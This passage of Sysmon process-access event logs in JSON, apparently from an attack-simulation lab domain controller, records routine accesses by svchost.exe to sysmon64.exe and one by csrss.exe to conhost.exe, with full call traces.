C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2475,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2476,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2477,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2478,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2479,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2480,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2481,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.412","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2482,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.412\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010C34F0400}\r\nTargetProcessId: 4484\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 